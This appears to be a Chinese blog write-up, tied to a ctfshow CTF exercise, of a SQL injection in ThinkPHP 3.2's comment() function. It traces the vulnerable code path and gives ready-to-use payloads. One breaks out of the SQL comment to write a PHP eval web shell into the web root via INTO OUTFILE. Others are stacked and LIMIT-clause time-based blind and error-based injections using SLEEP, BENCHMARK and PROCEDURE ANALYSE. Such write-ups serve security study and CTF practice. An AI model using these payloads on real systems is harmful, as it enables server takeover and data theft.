ThinkPHP v3.2 comment 注释注入 写shell

漏洞详情

comment函数是用来进行查询注释功能,当执行sql语句时,搭配comment可能存在利用注释进行写shell或者时间盲注

漏洞复现

控制器写入demo

$user = M('Users')->comment($id)->find(intval($id));

payload

?id=1*/ into outfile "/var/www/html/3.php" LINES STARTING BY '<?php eval($_POST[0]);?>'/*

漏洞分析

首先看一下函数调用栈


开始跟进调试

跟进comment函数

给$options加上comment就是我们传入的东西

中间过程同thinkphp 3.2.3find 注入过程分析相同,往下走到这里select方法

跟进,对$options中的model和bind进行操作,不影响

跟进buildSelectSql()开始构建sql语句

跟进parseSql()
分析$options中的comment

跟进

我们传入的comment被加入到注释中,可以通过闭合前后注释进行注入

先尝试一下

构造的sql语句注入点在LIMIT 1 后面的地方,也就是说

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT [注入点]

那么怎么利用这一点?

堆叠时间盲注

本地测试可以尝试堆叠注入方式来进行时间盲注

1*/;select if(substr(database(),1,1)='s',sleep(3),0)/*


ctfshow 题目环境下

LIMIT后 注入方法

Mysql下Limit注入方法 | 离别歌 (leavesongs.com)

Mysql注入点在limit关键字后面的利用方法 - 那天ws

此方法适用于MySQL 5.x中,在 limit语句后面的注入

首先查看 select 用法

SELECT
    [ALL | DISTINCT | DISTINCTROW ]
      [HIGH_PRIORITY]
      [STRAIGHT_JOIN]
      [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
      [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
    select_expr [, select_expr ...]
    [FROM table_references
    [WHERE where_condition]
    [GROUP BY {col_name | expr | position}
      [ASC | DESC], ... [WITH ROLLUP]]
    [HAVING where_condition]
    [ORDER BY {col_name | expr | position}
      [ASC | DESC], ...]
    [LIMIT {[offset,] row_count | row_count OFFSET offset}]   //这里
    [PROCEDURE procedure_name(argument_list)]
    [INTO OUTFILE 'file_name' export_options
      | INTO DUMPFILE 'file_name'
      | INTO var_name [, var_name]]
    [FOR UPDATE | LOCK IN SHARE MODE]]

根据文章 有 两种方式
limit 关键字后面还有 PROCEDUREINTO 关键字,INTO 关键字在有写权限可以用来写文件,这里看一下 PROCEDURE 关键字.MySQL默认可用的存储过程只有 ANALYSE (doc)

PROCEDURE

报错注入,payload

mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
 
ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'

时间盲注

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

INTO

尝试利用 into outfile 写shell 虽然dumpfile也可以写文件但是因为 dumpfile 后面没有附加参数(export_options) 这点是 into outfile 利用的关键

看一下后面的参数

SELECT ... INTO OUTFILE 'file_name'
        [CHARACTER SET charset_name]
        [export_options]

export_options:
    [{FIELDS | COLUMNS}
        [TERMINATED BY 'string']//分隔符
        [[OPTIONALLY] ENCLOSED BY 'char']
        [ESCAPED BY 'char']
    ]
    [LINES
        [STARTING BY 'string']
        [TERMINATED BY 'string']
    ]

OPTION 参数为可选参数选项,其可能的取值有:

`FIELDS TERMINATED BY '字符串'`:设置字符串为字段之间的分隔符,可以为单个或多个字符。默认值是“\t”。

`FIELDS ENCLOSED BY '字符'`:设置字符来括住字段的值,只能为单个字符。默认情况下不使用任何符号。

`FIELDS OPTIONALLY ENCLOSED BY '字符'`:设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。默认情况下不使用任何符号。

`FIELDS ESCAPED BY '字符'`:设置转义字符,只能为单个字符。默认值为“\”。

`LINES STARTING BY '字符串'`:设置每行数据开头的字符,可以为单个或多个字符。默认情况下不使用任何字符。

`LINES TERMINATED BY '字符串'`:设置每行数据结尾的字符,可以为单个或多个字符。默认值是“\n”。

给出payload

/?id=1*/ into outfile "/var/www/html/3.php" LINES STARTING BY '<?php eval($_POST[0]);?>'/*

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值